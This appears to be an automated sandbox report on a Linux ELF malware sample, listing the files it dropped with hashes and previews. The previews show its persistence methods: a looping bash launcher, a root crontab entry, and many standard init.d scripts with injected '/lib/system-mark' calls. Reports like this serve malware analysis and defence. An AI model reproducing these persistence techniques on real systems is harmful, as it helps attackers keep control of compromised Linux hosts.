SHA-512:	91A32A8C6B9490CB31CDB79C2E8697DAF1637C63136658B46037D60ED47D2B6D685F62D526E87960BAF93C6875295CF0C892EDAF65B34CBEB00D9961FEE7938B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: linux_arm5.elf, Detection: malicious, Browse Filename: linux_aarch64.elf, Detection: malicious, Browse Filename: linux_amd64.elf, Detection: malicious, Browse Filename: linux_arm7.elf, Detection: malicious, Browse Filename: linux_arm6.elf, Detection: malicious, Browse Filename: DerI9qwTwK.elf, Detection: malicious, Browse Filename: p2GrGlDHjw.elf, Detection: malicious, Browse Filename: mJWouOfZLy.elf, Detection: malicious, Browse Filename: OUcCqCsimA.elf, Detection: malicious, Browse Filename: ZcDEk7Z0aN.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/bash.while [ 1 ]; do.sleep 60./etc/opt.services.cfg.done

/etc/crontab

Download File

Process:	/bin/bash
File Type:	ASCII text
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.000961982762677
Encrypted:	false
SSDEEP:	3:HFdtKeIBFv:l6eIBV
MD5:	6B13F24B625DC5B832A4AE80CFAB7DDA
SHA1:	8D0BAF4556328F9CEFB4041D67CB6BF30570AF84
SHA-256:	AC95234D459AA020883AF0A93879C835582CB60D7DD63C68F33993BA2546661F
SHA-512:	76774BF236D5DB77B09BFD2A36F190B86AC7DA7147C635CAF06A1884E151345585803885AD1FCBD60F566A48F165CBF8B445B506047CBC0A9924BF79B4C8E289
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	/1 * * * root /.mod .

/etc/init.d/acpid

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2304
Entropy (8bit):	5.099881186780916
Encrypted:	false
SSDEEP:	48:9tdVEA2+3MPMiOMdxA3Gbsbcq1himLHLHmvgjWL:9tdVEA2+3MPiI3Qbcq1Q4Hrmvt
MD5:	BD41974D1C7269BD429343943C8ED10A
SHA1:	D99E55E32229483A694B8B2EFEC8D15CF1C8FCCE
SHA-256:	56044D786BA8F4B11DDF9DBC88502ECE10246991CA383F913E9B86E57F19A28E
SHA-512:	A386FA323285EF24A9A442A5CEB8D9B2A36409B7BEC2D729031C7F83C6F3664EA1A745D35CA487A25FC953B6197F3A9FF1B35EEEFD2F90262BC2EEA7BB89D522
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: acpid.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# X-Start-Before: kdm gdm3 xdm lightdm.# X-Stop-After: kdm gdm3 xdm lightdm.# Default-Start: 2 3 4 5.# Default-Stop: .# Short-Description: Start the Advanced Configuration and Power Interface daemon.# Description: Provide a socket for X11, hald and others to multiplex.# kernel ACPI events..### END INIT INFO..set -e..ACPID="/usr/sbin/acpid".DEFAULTS="/etc/default/acpid"..# Check for daemon presence.[ -x "$ACPID" ] \|\| exit 0..OPTIONS="".MODULES="".# Include acpid defaults if available.[ -r "$DEFAULTS" ] && . "$DEFAULTS"..# Get lsb functions.. /lib/lsb/init-functions..# As the name says. If the kernel supports modules, it'll try to load.# the ones listed in "MODULES"..load_modules() {. [ -f /proc/modules ] \|\| return 0. if [ "$MODULES" = "all" ]; then./lib/system-mark. MODULES="$(sed -rn 's#^(/lib/mod

/etc/init.d/alsa-utils

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	5694
Entropy (8bit):	5.4204403708834565
Encrypted:	false
SSDEEP:	96:iKtDd9/iwmDaLEuE9nwsmFRzF+rc17NyppyhHk5eEkv:iCdlW6EuUnZeRB+rc15yryZkq
MD5:	14EB05544D93BC0B09262334CCB79F2C
SHA1:	620AC9E2B5A23703A568800376CE590445FDFBD5
SHA-256:	C52ED6032904A94A0B83DCD1CDFA83D48DA29D049A5F29BB90265492120183E4
SHA-512:	83DCDC085FBFEEC1843D8C5E8978162AA34F9ECD0E7BF4E8BBF8D8D005837FF6A69F56BF7988400CB5AF07A5AF63D6471BD8BC2DAE223CDA3500F07B0EE9C36B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.#.# alsa-utils initscript.#.### BEGIN INIT INFO.# Provides: alsa-utils.# Required-Start: $local_fs $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: Restore and store ALSA driver settings.# Description: This script stores and restores mixer levels on.# shutdown and bootup.On sysv-rc systems: to.# disable storing of mixer levels on shutdown,.# remove /etc/rc[06].d/K50alsa-utils. To disable.# restoring of mixer levels on bootup, rename the.# "S50alsa-utils" symbolic link in /etc/rcS.d/ to.# "K50alsa-utils"..### END INIT INFO..# Don't use set -e; check exit status instead..# Exit silently if package is no longer installed.[ -x /usr/sbin/alsactl ] \|\| exit 0..PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.MYNAME=/etc/init.d/alsa-utils.ALSACTLHOME=/run/alsa..[ -d "$ALSA

/etc/init.d/anacron

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2124
Entropy (8bit):	4.760217966755678
Encrypted:	false
SSDEEP:	24:aiF8WzzU+LuN5K6YqfOv5i1CPeFecyZR11s+M8k93ILlfWW6910kF4T0Op:7RzgTNNOhi1eAryZR1vX5fTKX00+
MD5:	B8F9EF2F7B8875CFEE672094FF6B7829
SHA1:	901405E0A0F9AF0D39010FB609E06A34FA9918F5
SHA-256:	11696FDED80A45C7CD5351D01D0C4419E69A863C3774F7F37C3FD22F22F3EE16
SHA-512:	A90371D6664E9043A8FD43A8138B245C228AFF9E64AC6A41D73C849C0CF746ABFAEABB2C1D2BEEBBC05D7451A2B84DAE4E80A0BDF64864A390FE950437CB4745
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: anacron.# Required-Start: $remote_fs $syslog $time.# Required-Stop: $remote_fs $syslog $time.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Run anacron jobs.# Description: The first purpose of this script is to run anacron at.# boot so that it can catch up with missed jobs. Note.# that anacron is not a daemon. It is run here just once.# and is later started by the real cron. The second.# purpose of this script is that said cron job invokes.# this script to start anacron at those subsequent times,.# to keep the logic in one place..### END INIT INFO..PATH=/bin:/usr/bin:/sbin:/usr/sbin..test -x /usr/sbin/anacron \|\| exit 0.test -r /etc/default/anacron && . /etc/default/anacron... /lib/lsb/init-functions..case "$1" in. start). if init_is_upstart 2>/dev/null; then./lib/system-mark. exit 1. fi. log_daemon_msg "Starting

/etc/init.d/apparmor

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3826
Entropy (8bit):	5.249219751257144
Encrypted:	false
SSDEEP:	96:RFCjnn83hjz3n1zJNSNuDNBqNPoNpMbANEF7gG9M3zRVhszRVhxRl:Wjn4hj779Gjl
MD5:	DE4607EB984BD8C2751A19FED2566718
SHA1:	B605ED61D40829230C99D2C54B401CD2E154DE20
SHA-256:	F6BC11FE360F4DB66CB6B1C7763DC087E5D8F76A7D8145F08F617FD10C4FBFFD
SHA-512:	D932550ED8287788D8E14165CB47EB3A649D40B8AE6E8EEEC6ADCCC3563D8B376BBDE5C804205BD9B174CC3786154292C2D352307F41D9649312D9BF615DFD0C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# ----------------------------------------------------------------------.# Copyright (c) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007.# NOVELL (All rights reserved).# Copyright (c) 2008, 2009 Canonical, Ltd..#.# This program is free software; you can redistribute it and/or.# modify it under the terms of version 2 of the GNU General Public.# License published by the Free Software Foundation..#.# This program is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the.# GNU General Public License for more details..#.# You should have received a copy of the GNU General Public License.# along with this program; if not, contact Novell, Inc..# ----------------------------------------------------------------------.# Authors:.# Steve Beattie <steve.beattie@canonical.com>.# Kees Cook <kees@ubuntu.com>.#.# /etc/init.d/app

/etc/init.d/apport

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3050
Entropy (8bit):	5.216428196190724
Encrypted:	false
SSDEEP:	48:jV/OxxHuoBusZABLm/tiUmZmNndBuSZWg/e/fuppzDGdxboGxz5:jV/OxNDBusZABLm1BmOnbuSZWg2/anOT
MD5:	FB82D03D336FC2AC2901C9D28682B408
SHA1:	992649B4B941B5B5372A6215DA4A5231BFDCD0BF
SHA-256:	F9AFCA8A53AF95CC19F4D1D2495F80335924F5C65ABE9147C5D46AE29CBEC76C
SHA-512:	8EE7107F9FCB458989553B871B06823646B765980D7BBF84C7110C0FFEA116DE7D141D5FE21BA2CFDBCA9A423434AE276D3949AB6EF1EACED8DEF7DFE6D16C40
Malicious:	true
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides: apport.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: automatic crash report generation.### END INIT INFO..DESC="automatic crash report generation".NAME=apport.AGENT=/usr/share/apport/apport.SCRIPTNAME=/etc/init.d/$NAME..# Exit if the package is not installed.[ -x "$AGENT" ] \|\| exit 0..# read default file.enabled=1.[ -e /etc/default/$NAME ] && . /etc/default/$NAME \|\| true..# Define LSB log_* functions..# Depend on lsb-base (>= 3.0-6) to ensure that this file is present... /lib/lsb/init-functions..#.# Function that starts the daemon/service.#.do_start().{..# Return..# 0 if daemon has been started..# 1 if daemon was already running..# 2 if daemon could not be started...[ -e /var/crash ] \|\| mkdir -p /var/crash..chmod 1777 /var/crash...# check for kernel crash dump, convert it to apport report..if [ -e /var/crash/vmcore ] \|\| [ -n "`ls /va

/etc/init.d/avahi-daemon

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	4.851897064111941
Encrypted:	false
SSDEEP:	48:9s2V+ig+Ui83MZoJQukTS9VC2/ulMA0uv3uKv2ZsGyjyRft/zsDE7Ed:93oijU4ukTSZux0uv3uKvdJORlADHd
MD5:	84273238ABAA8A7DE2D516C95D92F171
SHA1:	875222E1EE9FE460931E5340C94F958D1DB14C9D
SHA-256:	2BDB658E48A470E440378BC4BC4CC48B9B228BC3DF759187787A7D9FD71EEC90
SHA-512:	C226B5813A17D0640FBC77D09889F19F638FF9701CCC2E933B3DC8749674BC1918FD22011096126FEBBBBF55F91BE1D78DF8CC176D4465BA4A2426414C2D1D88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: avahi avahi-daemon.# Required-Start: $remote_fs dbus.# Required-Stop: $remote_fs dbus.# Should-Start:. $syslog.# Should-Stop: $syslog.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Avahi mDNS/DNS-SD Daemon.# Description: Zeroconf daemon for configuring your network .# automatically.### END INIT INFO..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DESC="Avahi mDNS/DNS-SD Daemon".NAME="avahi-daemon".DAEMON="/usr/sbin/$NAME".SCRIPTNAME=/etc/init.d/$NAME..# Gracefully exit if the package has been removed..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..# Include avahi-daemon defaults if available..test -f /etc/default/avahi-daemon && . /etc/default/avahi-daemon..DISABLE_TAG="/var/run/avahi-daemon/disabled-for-unicast-local"..#.# Function that starts the daemon/service..#.d_start() {. $DAEMON -c && return 0.. if [ -e $DISABLE_TAG -a "$AVAHI_DAEMON_DETECT_LOCAL" !=

/etc/init.d/binfmt-support

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	5.0501124070839
Encrypted:	false
SSDEEP:	24:ai3V6yXngSBVSBNyj6edNHcBcN6ekvx2w5mw+76opC:73ZngWVWNMNH0Y6bJ2w4wrJ
MD5:	A79B82CEAEE457E62E6EA7BAF7D1CAE5
SHA1:	B1EEBF3A9994B719F88E63BAC51A40EF3E3A4082
SHA-256:	76950791A135F0DFCCBE3A246A8085304345B40AC3DFE30BF1CA53C6BF81FD95
SHA-512:	4B6A9CEAEAC8952255DA0EAED35DAB689D80D3BD2B7D69CF3BF36D36271CCA309114D3E32C6C6797143C991DF1EAEB6491A7A36DE6AF9633F71AECB4B3D40C4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: binfmt-support.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Support for extra binary formats.# Description: Enable support for extra binary formats using the Linux.# kernel's binfmt_misc facility..### END INIT INFO..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.NAME=binfmt-support.DESC="additional executable binary formats"..if [ "$(uname)" != Linux ]; then./lib/system-mark. exit 0.fi..which update-binfmts >/dev/null 2>&1 \|\| exit 0... /lib/lsb/init-functions.[ -r /etc/default/rcS ] && . /etc/default/rcS..set -e.CODE=0..case "$1" in. start). log_daemon_msg "Enabling $DESC" "$NAME". update-binfmts --enable \|\| CODE=$?. log_end_msg $CODE. exit $CODE. ;;.. stop). log_daemon_msg "Disabling $DESC" "$NAME". update-binfmts --disable \|\| CODE=$?. log_end_msg $CODE. exi

/etc/init.d/bluetooth

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3071
Entropy (8bit):	5.403760092319036
Encrypted:	false
SSDEEP:	48:71OoPrcMbC/BUUzGrm92+kbM935LmiVQoOZoKkkFjM+Zh9YDFjMrfOte:79TcWC/BUeem92R4V5LROt5r9CE2A
MD5:	E001FF7DBF2452314EEC95D08540D7AF
SHA1:	B2B63E00B1685EAA0DACC4D5F2C07C15F0D6AE55
SHA-256:	D6AA950CFA0BA62353E3734AB3E43F1B402C1B7F95CAC3C5D99D8453D299BDF3
SHA-512:	A9EA2F92C5A94330041228C7AECEB44718EBA47017ED7A41DEC87D6EAD6D7B34F968A79CFCFDDCC38561D964D354BFB63F3F52C2EFEE76C38C80DECCEC2FA944
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: bluetooth.# Required-Start: $local_fs $syslog $remote_fs dbus.# Required-Stop: $local_fs $syslog $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Start bluetooth daemons.### END INIT INFO.#.# bluez Bluetooth subsystem starting and stopping.#.# originally from bluez's scripts/bluetooth.init.#.# Edd Dumbill <ejad@debian.org>.# LSB 3.0 compilance and enhancements by Filippo Giunchedi <filippo@debian.org>.#.# Updated for bluez 4.7 by Mario Limonciello <mario_limonciello@dell.com>.# Updated for bluez 5.5 by Nobuhiro Iwamatsu <iwamatsu@debian.org>.#.# Note: older daemons like dund pand hidd are now shipped inside the.# bluez-compat package..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DESC=bluetooth..DAEMON=/usr/sbin/bluetoothd.HCIATTACH=/usr/bin/hciattach..BLUETOOTH_ENABLED=0.HID2HCI_ENABLED=1.HID2HCI_UNDO=1..SDPTOOL=/usr/bin/sdptool..# If you want to be ignore error of "org.freedesktop.hostname1",.# please en

/etc/init.d/console-setup.sh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	4.3356283043101165
Encrypted:	false
SSDEEP:	24:9lBiePItKzeBcx2o8/z3ejhTJckS5gzjdJwZWkZg7zcOqb6:93PyKzYcg/LshTJckS5gJw8kG7A9b6
MD5:	FE88F57D8990408CAAF7688C8EB6D734
SHA1:	7160510037CCA5505F40EFBE4CE8CCC777EAECE3
SHA-256:	C01D230B67C35FB75446E7A4599A09751E8859A4462CD5EB34DF9F186B28049F
SHA-512:	3DDA7EAF95F80FD3E35D8FDBF9AB77126E2CBF39CAA5C7A1275227D5267683F43504B191F0E08E901F93667AAFEE1F21F79BA3C8A27D5622C990DAA3AE39583D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: console-setup.sh.# Required-Start: $remote_fs.# Required-Stop:.# Should-Start: console-screen kbd.# Default-Start: 2 3 4 5.# Default-Stop:.# X-Interactive: true.# Short-Description: Set console font and keymap.### END INIT INFO..if [ -f /bin/setupcon ]; then./lib/system-mark. case "$1" in. stop\|status). # console-setup isn't a daemon. ;;. start\|force-reload\|restart\|reload). if [ -f /lib/lsb/init-functions ]; then./lib/system-mark. . /lib/lsb/init-functions. else. log_action_begin_msg () {.. echo -n "$@... ". }.. log_action_end_msg () {.. if [ "$1" -eq 0 ]; then./lib/system-mark.. echo done... else.. echo failed... fi. }. fi. log_action_begin_msg "Setting up console font and keymap". if /li

/etc/init.d/cron

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3111
Entropy (8bit):	4.911661386459712
Encrypted:	false
SSDEEP:	48:5PMic6MicW4dJIrcz8WD23fK2LAb38CE1ATGuMoZisTdDKoA3gHMLf:5E3s4dJWRWD23y2LgsZCTHMnidD/A3gU
MD5:	0E0A4A7372459B9C2D8F45BAA40A64B3
SHA1:	6DEAF952235F89CBDD83FBE48C89A4F048E52043
SHA-256:	2B88ED8EFDF3262040903719AA03156C8CD73B50CF2F2FCCACB33693FE4110D6
SHA-512:	4E11C50B5F5D95CAE5B374C4597DD83F79434876598BD9C5FC32D37B765885DC1FF920D96D6594E548F08DC9D367D8C74F704C9BA49056749E5A3B4CD6D13C50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# Start/stop the cron daemon..#.### BEGIN INIT INFO.# Provides: cron.# Required-Start: $remote_fs $syslog $time.# Required-Stop: $remote_fs $syslog $time.# Should-Start: $network $named slapd autofs ypbind nscd nslcd winbind sssd.# Should-Stop: $network $named slapd autofs ypbind nscd nslcd winbind sssd.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Regular background program processing daemon.# Description: cron is a standard UNIX program that runs user-specified .# programs at periodic scheduled times. vixie cron adds a .# number of features to the basic UNIX cron, including better.# security and more powerful configuration options..### END INIT INFO..PATH=/bin:/usr/bin:/sbin:/usr/sbin.DESC="cron daemon".NAME=cron.DAEMON=/usr/sbin/cron.PIDFILE=/var/run/crond.pid.SCRIPTNAME=/etc/init.d/"$NAME"..test -f $DAEMON \|\| exit 0... /lib/lsb/init-functions..[ -r /etc/default/cr

/etc/init.d/cryptdisks

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	955
Entropy (8bit):	5.160229628002615
Encrypted:	false
SSDEEP:	12:aiy4BTty5r2MVOc4qVp1b7NBq2dS1uaqLgcIcrPcrmjcdpEMyuDHkkGKErIKDq7p:aiVT5MQsL1bPq2MKZcr/ZkVyKDpjQ
MD5:	3B43339B088088E5B725575549A61F55
SHA1:	98AF37D27DC1A2EFE51AD74366137D375E631BB3
SHA-256:	BF85CED45A7B48892F49D608E189307CC08330A4F2834289B847B457DFD7D28A
SHA-512:	AF7347AEE4625DBD7C23A9A411362EC940B17DBBA794E9B89DC37D893EBCB445044BDB52D21197DBCEF73C75CF697E935D729110A2125D168E82D6B5E24938FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cryptdisks.# Required-Start: checkroot cryptdisks-early.# Required-Stop: umountroot cryptdisks-early.# Should-Start: udev mdadm-raid lvm2.# Should-Stop: udev mdadm-raid lvm2.# X-Start-Before: checkfs.# X-Stop-After: umountfs.# X-Interactive: true.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Setup remaining encrypted block devices..# Description:.### END INIT INFO..set -e..if [ -r /lib/cryptsetup/cryptdisks-functions ]; then./lib/system-mark... /lib/cryptsetup/cryptdisks-functions.else..exit 0.fi..INITSTATE="remaining".DEFAULT_LOUD="yes"..case "$CRYPTDISKS_ENABLE" in.[Nn])..exit 0..;;.esac..case "$1" in.start)..do_start..;;.stop)..do_stop..;;.restart\|reload\|force-reload)..do_stop..do_start..;;.force-start)..FORCE_START="yes"..do_start..;;.)..echo "Usage: cryptdisks {start\|stop\|restart\|reload\|force-reload\|force-start}"..exit 1..;;.esac..

/etc/init.d/cryptdisks-early

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	914
Entropy (8bit):	5.158660421998386
Encrypted:	false
SSDEEP:	12:aiy2BTCZN2MVW4qVS5sNBq2dX9qLgcIcrPcrmZm2dpBdMyuDHkkGKErIKDq7URuL:ai/TTMkw5Mq2CeKYZkVyKDvjQ
MD5:	905C0E1E5CC6FFC62CA21752E3F1753E
SHA1:	8810356FC23199F23631A7656815A431E34C4C1A
SHA-256:	6418AB31DBC9A1222A89C3D896C534373D9CB2D8D5D42FC75699889979E0AC34
SHA-512:	C7735CFB23C6CC924E7B55D825F352EBFB86CAEA48DF358499EF294EBE82F49F325F3C1098AA717BA622A8545E9A116C2648B44E2066597C5D4A37E71E6F77F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cryptdisks-early.# Required-Start: checkroot.# Required-Stop: umountroot.# Should-Start: udev mdadm-raid.# Should-Stop: udev mdadm-raid.# X-Start-Before: lvm2.# X-Stop-After: lvm2 umountfs.# X-Interactive: true.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Setup early encrypted block devices..# Description:.### END INIT INFO..set -e..if [ -r /lib/cryptsetup/cryptdisks-functions ]; then./lib/system-mark... /lib/cryptsetup/cryptdisks-functions.else..exit 0.fi..INITSTATE="early".DEFAULT_LOUD=""..case "$CRYPTDISKS_ENABLE" in.[Nn])..exit 0..;;.esac..case "$1" in.start)..do_start..;;.stop)..do_stop..;;.restart\|reload\|force-reload)..do_stop..do_start..;;.force-start)..FORCE_START="yes"..do_start..;;.)..echo "Usage: cryptdisks-early {start\|stop\|restart\|reload\|force-reload\|force-start}"..exit 1..;;.esac..

/etc/init.d/cups

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	5.2245818519394565
Encrypted:	false
SSDEEP:	48:76MLNMwmbAzAZVCoLqLVO1Z6NH/qAh1UoAaYmUoG/FVv/FkG/UoG/F1RetsJ:7BWwmEMZVChFB7UoAaZUoGDvuG/UoGr/
MD5:	A13A7862BD0038FC523BFDFD69743E21
SHA1:	02BDC079157F4E2DF13C4CD4EF92BF477512348E
SHA-256:	0B82721F8B1FA32F5D25FE373FCD6DC540296675AFAD5C04A0EA18C4855DF29D
SHA-512:	4856AEFE6C5516CD19438DAD4689B3D656BA0ACFD0E498ABDA54628E1287B2C9C340040799C5B8AE68DA67970E19B41264E0F7C0416108E53D6477F5F18C7AC9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cups.# Required-Start: $syslog $remote_fs.# Required-Stop: $syslog $remote_fs.# Should-Start: $network avahi-daemon slapd nslcd.# Should-Stop: $network.# X-Start-Before: samba.# X-Stop-After: samba.# Default-Start: 2 3 4 5.# Default-Stop: 1.# Short-Description: CUPS Printing spooler and server.# Description: Manage the CUPS Printing spooler and server;.# make it's web interface accessible on http://localhost:631/.### END INIT INFO..# Author: Debian Printing Team <debian-printing@lists.debian.org>..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/cupsd.NAME=cupsd.PIDFILE=/run/cups/$NAME.pid.DESC="Common Unix Printing System".SCRIPTNAME=/etc/init.d/cups..unset TMPDIR..# Exit if the package is not installed.test -x $DAEMON \|\| exit 0..mkdir -p /run/cups/certs.[ -x /sbin/restorecon ] && /sbin/restorecon -R /run/cups..# Define LSB log_* functions..

/etc/init.d/cups-browsed

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1979
Entropy (8bit):	5.144887658077899
Encrypted:	false
SSDEEP:	48:7mU3mK7xpvyCKyhfPV5upSYf54v6YSBFQJvFS2b:7j3FpjhnV5upSYuv3ScJQ2b
MD5:	B6B52BC4EBC4D496D01B30E2CFCF2C62
SHA1:	0221F156258ED821216CBF81280EE6324BDD52E9
SHA-256:	62B6CC632C9AC071EF72CDEB7057A4B20B7AE17413A289AEC43A67162B20A989
SHA-512:	B6FD6007E039984D1E505A62C76BB3373F3AF4A4DCB7E1AB7E2DF5C66D9D2F87DEB3DE2DEE97DF8FC33E9F94975B64DF03049C4DF60A1F02FADF4D5A7F6D4ED8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cups-browsed.# Required-Start: $syslog $remote_fs $network $named $time.# Required-Stop: $syslog $remote_fs $network $named $time.# Should-Start: avahi-daemon.# Should-Stop: avahi-daemon.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: cups-browsed - Make remote CUPS printers available locally.# Description: This daemon browses Bonjour broadcasts of shared remote CUPS.# printers and makes these printers available locally by creating.# local CUPS queues pointing to the remote queues. This replaces.# the CUPS browsing which was dropped in CUPS 1.6.1. For the end.# the behavior is the same as with the old CUPS broadcasting/.# browsing, but in the background the standard method for network.# service announcement and discovery, Bonjour, is used..### END INIT INFO..DAEMON=/usr/sbin/cups-browsed.NAME=cups-browsed.PIDFIL

/etc/init.d/dbus

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	3255
Entropy (8bit):	5.118926067111819
Encrypted:	false
SSDEEP:	96:9JOxbyAn/JNsQmx+xZRGWoGUuK2gY5W7zTXmgI:9Jw2U1MSIr7nXmL
MD5:	B05B34CA2A32E2007677F6CD40C3AF66
SHA1:	48F6C6EC5AE325D1E72224E27E98DE1CF817C521
SHA-256:	6C0251B0D84D116413A6DEF3B4D1699017BE1114E025B5E7E4B546237209574E
SHA-512:	692CE95159E6677954A6E573ADCDC5BFF11301E37CF25501F7205164CC2F4D24B6758663BE5ABD680EEC2E22C08AA491CEC269DDB696AC2D4EF99798CBC30495
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: dbus.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: D-Bus systemwide message bus.# Description: D-Bus is a simple interprocess messaging system, used.# for sending messages between applications..### END INIT INFO.# -- coding: utf-8 --.# Debian init.d script for D-BUS.# Copyright . 2003 Colin Walters <walters@debian.org>.# Copyright . 2005 Sjoerd Simons <sjoerd@debian.org>..set -e..DAEMON=/usr/bin/dbus-daemon.UUIDGEN=/usr/bin/dbus-uuidgen.UUIDGEN_OPTS=--ensure.NAME=dbus.DAEMONUSER=messagebus.PIDDIR=/var/run/dbus.PIDFILE=$PIDDIR/pid.DESC="system message bus"..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..# Source defaults file; edit that file to configure this script..PARAMS="".if [ -e /etc/default/dbus ]; then./lib/system-mark. . /etc/default/dbus.fi..create_machineid() {. # Create machine-id file. i

/etc/init.d/gdm3

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	5.042976496573067
Encrypted:	false
SSDEEP:	48:78unF1gLpxNlduwTebFGBzB4ndfPaMa59zqKN/UsCVADsZvOsFzmxOsFC2WtFji:7dnM1XV3B2dUdaVAGvoe2Wtc
MD5:	34C249DFA3336DB31FBE66E1CD5758F6
SHA1:	4B86122506102F1A88F72FF6D83C8E32B88F9D1E
SHA-256:	EE131550054FD4C8053F1C139C7F96CDBA8FD3F7CCFA78C1ED87DDD4FFC10D47
SHA-512:	B88FE306642B0757B24110D43BFF4A286D24C1995C0E6C3E9429E85E51D9D9DD4150BB4F99F818EDBC3CF2AFB2F9CE30CB1E7928B15CF8D41ADC330D3F0C58F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
